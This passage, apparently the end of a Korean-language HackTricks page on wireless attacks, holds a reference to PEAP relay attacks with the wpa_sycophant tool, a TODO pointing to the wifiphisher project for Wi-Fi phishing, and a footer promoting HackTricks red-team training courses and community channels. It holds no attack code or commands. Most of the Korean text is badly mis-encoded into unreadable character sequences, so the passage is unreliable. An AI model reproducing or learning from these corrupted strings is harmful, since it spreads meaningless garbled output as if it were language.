- PEAP relay attacks with wpa_sycophant (SensePost)
TODO: ๋ค์์ ํ์ธํ์ธ์ https://github.com/wifiphisher/wifiphisher (Facebook ๋ก๊ทธ์ธ ๋ฐ captive portals์์์ WPA ๋ชจ๋ฐฉ)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


